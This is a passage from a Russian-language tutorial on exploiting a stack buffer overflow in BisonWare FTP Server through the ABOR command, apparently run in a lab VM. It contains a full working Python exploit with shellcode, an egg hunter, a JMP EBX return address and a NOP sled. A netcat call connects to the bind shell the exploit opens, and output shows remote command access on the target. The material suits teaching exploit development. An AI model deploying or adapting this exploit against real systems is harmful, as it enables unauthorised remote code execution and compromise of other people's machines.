"\xe7\x44\x36\x2c\x07\xfa\x37\x65";

Теперь пришло время для поиска адреса, который перезапишет EIP-регистр и указателем станет инструкция JMP EBX. Нам нужно прыгнуть на EBX-регистр, потому что там расположен наш буфер [AAAAAA..AAAA]. Когда инструкция JMP EBX выполнится, контроль перейдет на данный регистр и выполнится шеллкод с техникой “Egg hunter”.

В отладчике выберите View -> Executable Modules:

Правый щелчок в области CPU и выбираем поиск команды - Search for -> Command:

В поле ввода вводим JMP EBX и нажимаем «Найти». После этого смотрим адрес данной инструкции.

Адрес инструкции JMP EBX: 7C9CFC24

Теперь у нас есть данные, чтобы перезаписать смещение регистра EIP, шеллкод и адрес инструкции JMP EBX. Давайте перепишем сплоит с полученными данными, и с тэгом “w00tw00t” для начинки (payload).

#!/usr/bin/python 

import socket, sys, os, time 

print "\n================================ "
print " BisonWare FTP Server BOF Overflow "
print " Written by Ashfaq "
print " HackSys Team - Panthera "
print " email:hacksysteam@hotmail.com "
print "=================================\n"

if len(sys.argv) != 3:
  print "[*] Usage: %s <target> <port> \n" % sys.argv[0]
  sys.exit(0)

target = sys.argv[1]  # аргумент №1
port = int(sys.argv[2]) # аргумент №2 
shellcode = ("w00tw00t" +
"\xbd\xa9\x85\x2d\x7f\xda\xd0\xd9\x74\x24\xf4\x58\x29\xc9\xb1"
"\x56\x31\x68\x13\x83\xc0\x04\x03\x68\xa6\x67\xd8\x83\x50\xee"
"\x23\x7c\xa0\x91\xaa\x99\x91\x83\xc9\xea\x83\x13\x99\xbf\x2f"
"\xdf\xcf\x2b\xa4\xad\xc7\x5c\x0d\x1b\x3e\x52\x8e\xad\xfe\x38"
"\x4c\xaf\x82\x42\x80\x0f\xba\x8c\xd5\x4e\xfb\xf1\x15\x02\x54"
"\x7d\x87\xb3\xd1\xc3\x1b\xb5\x35\x48\x23\xcd\x30\x8f\xd7\x67"
"\x3a\xc0\x47\xf3\x74\xf8\xec\x5b\xa5\xf9\x21\xb8\x99\xb0\x4e"
"\x0b\x69\x43\x86\x45\x92\x75\xe6\x0a\xad\xb9\xeb\x53\xe9\x7e"
"\x13\x26\x01\x7d\xae\x31\xd2\xff\x74\xb7\xc7\x58\xff\x6f\x2c"
"\x58\x2c\xe9\xa7\x56\x99\x7d\xef\x7a\x1c\x51\x9b\x87\x95\x54"
"\x4c\x0e\xed\x72\x48\x4a\xb6\x1b\xc9\x36\x19\x23\x09\x9e\xc6"
"\x81\x41\x0d\x13\xb3\x0b\x5a\xd0\x8e\xb3\x9a\x7e\x98\xc0\xa8"
"\x21\x32\x4f\x81\xaa\x9c\x88\xe6\x81\x59\x06\x19\x29\x9a\x0e"
"\xde\x7d\xca\x38\xf7\xfd\x81\xb8\xf8\x28\x05\xe9\x56\x82\xe6"
"\x59\x17\x72\x8f\xb3\x98\xad\xaf\xbb\x72\xd8\xf7\x75\xa6\x89"
"\x9f\x77\x58\x3c\x3c\xf1\xbe\x54\xac\x57\x68\xc0\x0e\x8c\xa1"
"\x77\x70\xe6\x9d\x20\xe6\xbe\xcb\xf6\x09\x3f\xde\x55\xa5\x97"
"\x89\x2d\xa5\x23\xab\x32\xe0\x03\xa2\x0b\x63\xd9\xda\xde\x15"
"\xde\xf6\x88\xb6\x4d\x9d\x48\xb0\x6d\x0a\x1f\x95\x40\x43\xf5"
"\x0b\xfa\xfd\xeb\xd1\x9a\xc6\xaf\x0d\x5f\xc8\x2e\xc3\xdb\xee"
"\x20\x1d\xe3\xaa\x14\xf1\xb2\x64\xc2\xb7\x6c\xc7\xbc\x61\xc2"
"\x81\x28\xf7\x28\x12\x2e\xf8\x64\xe4\xce\x49\xd1\xb1\xf1\x66"
"\xb5\x35\x8a\x9a\x25\xb9\x41\x1f\x55\xf0\xcb\x36\xfe\x5d\x9e"
"\x0a\x63\x5e\x75\x48\x9a\xdd\x7f\x31\x59\xfd\x0a\x34\x25\xb9"
"\xe7\x44\x36\x2c\x07\xfa\x37\x65") # начинка с тэгом "w00tw00t"
 
egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7") # 32 байта функции  NtDisplayString 
buffer = "\x90"*(1191 - (len(shellcode)+len(egghunter))) # выравнивание стека 
ebx = "\x24\xFC\x9C\x7C" # JMP EBX 7C9CFC24 из Shell32.dll 
nopsled = "\x90"*205 # 205 NOP Sled 

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

print "[+] Connecting to %s on port %d" % (target,port)

try:
  s.connect((target,port)) # соединяемся с FTP-сервером 
  s.recv(1024) # принимаем 1024 байт от сервера
  time.sleep(3) # ждем 3 секунды
  print "[+] Sending payload"
  s.recv(2000) # принимаем 2000 байт от сервера
  s.send('USER anonymous\r\n') # отправляем FTP-команду 'USER anonymous'
  s.recv(2000)
  s.send('PASS anonymous\r\n') # отправляем FTP-команду 'PASS anonymous' 
  s.recv(2000)
  s.send('ABOR ' + shellcode + buffer + egghunter + ebx + nopsled +'\r\n')  # отправляем FTP-команду  'ABOR ' + junk-данные 
  s.close() # закрываем сокет

print "[+] Exploit Sent Successfully"
print "[+] Waiting for 5 sec before spawning shell to " + target + ":4444
\r"
print "\r"
  time.sleep(5) # ждем 5 секунд перед подключением к шеллу
  os.system("nc -n " + target + " 4444") # подключение к шеллу с помощью NetCat 
print "[-] Connection lost from " + target + ":4444 \r"
except:
print "[-] Could not connect to " + target + ":21\r"
  sys.exit(0) # выход

Перед запуском эксплоита, установим бряк (breakpoint) на адресе инструкции JMP EBX. Теперь мы можем пошагово (step into) пройти NOP sled.

Заметка: NOP sled – это последовательность NOP’ов (no-operation – нет операции). В архитектуре Intel x86, код NOP’a будет 0x90. Это означает буквально «скользить» по инструкциям CPU до желаемой операции.

Перезапустим наш FTP-сервер в отладчике. Теперь, правым щелчком в окне CPU выбираем Goto -> Expression. Вводим адрес инструкции 7C9CFC24 и нажимаем ОК.

Мы очутимся на инструкции JMP EBX. Щелкните на инструкции JMP ESP и нажмите F2 на клавиатуре. Когда бряк был установлен, фоновый цвет инструкции 7C9CFC24 станет синим.

Посмотрим, что произошло в окне CPU отладчика Immunity Debugger.

Теперь запустим BisonWare FTP-сервер после установки бряка.

Запускаем сплоит еще раз:

root@bt:~/Desktop# ./BisonFTP.py 192.168.137.138 21
================================
BisonWare FTP Server BOF Overflow
Written by Ashfaq
HackSys Team - Panthera
email:hacksysteam@hotmail.com
================================
[+] Connecting to 192.168.137.138 on port 21
[+] Sending payload
[+] Exploit Sent Successfully
[+] Waiting for 5 sec before spawning shell to 192.168.137.138:4444
(UNKNOWN) [192.168.137.138] 4444 (?): Connection refused
[-] Connection lost from 192.168.137.138:4444

Проверяем, сработал ли бряк. Если нет ошибки в эксплоите, то бряк должен был сработать. Убеждаемся в этом:

Как и ожидалось, бряк сработал. Теперь делаем пошаговое исполнение программы. Смотрим в окно CPU и жмем F7 пока не найдем NOP Sled.

Мы замечаем, что код “Egg hunter” записался, а также инструкции JMP EBX и NOP sled.
Наш сплоит работает отлично. Закроем отладчик, и запустим FTP-сервер.
Запускаем сплоит и надеемся, что мы получим доступ к шеллу.root@bt:~/Desktop# ./BisonFTP.py 192.168.137.138 21
================================
BisonWare FTP Server BOF Overflow
Written by Ashfaq
HackSys Team - Panthera
email:hacksysteam@hotmail.com
================================

[+] Connecting to 192.168.137.138 on port 21
[+] Sending payload
[+] Exploit Sent Successfully
[+] Waiting for 5 sec before spawning shell to 192.168.137.138:4444
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\hacksysteam\Desktop\BisonFTP>

Мы получили удаленный доступ. У нас это получилось. Проверим окно FTP-сервера:

Программа работает как и ожидалось. Теперь введем команды в наш удаленный шелл:

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\hacksysteam\Desktop\BisonFTP>dir
dir
Volume in drive C is Primary_$
Volume Serial Number is D88D-4BBE
Directory of C:\Documents and Settings\hacksysteam\Desktop\BisonFTP
11/20/2011 02:15 AM <DIR> .
11/20/2011 02:15 AM <DIR> ..
06/27/2000 03:21 PM 914 BISONFTP.CNT
06/27/2000 03:21 PM 704,000 Bisonftp.exe
06/27/2000 03:21 PM 163,328 bisonftp.FTS
06/27/2000 03:21 PM 33,839 BISONFTP.HLP
10/25/2003 07:50 PM 0 BisonFTP.reg
06/27/2000 03:21 PM 1,423 README.TXT
6 File(s) 903,504 bytes
2 Dir(s) 608,858,112 bytes free

C:\Documents and Settings\hacksysteam\Desktop\BisonFTP>ipconfig
ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection 3:
Connection-specific DNS Suffix . : localdomain
IP Address. . . . . . . . . . . . : 192.168.137.138
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.137.2
C:\Documents and Settings\hacksysteam\Desktop\BisonFTP>

Мы успешно использовали уязвимость BisonWare FTP-сервера через команду ABOR.

На этом первая часть статьи подходит к концу. Во второй части мы обсудим, как закрепиться во взломанной системе с помощью Metasploit Meterpreter.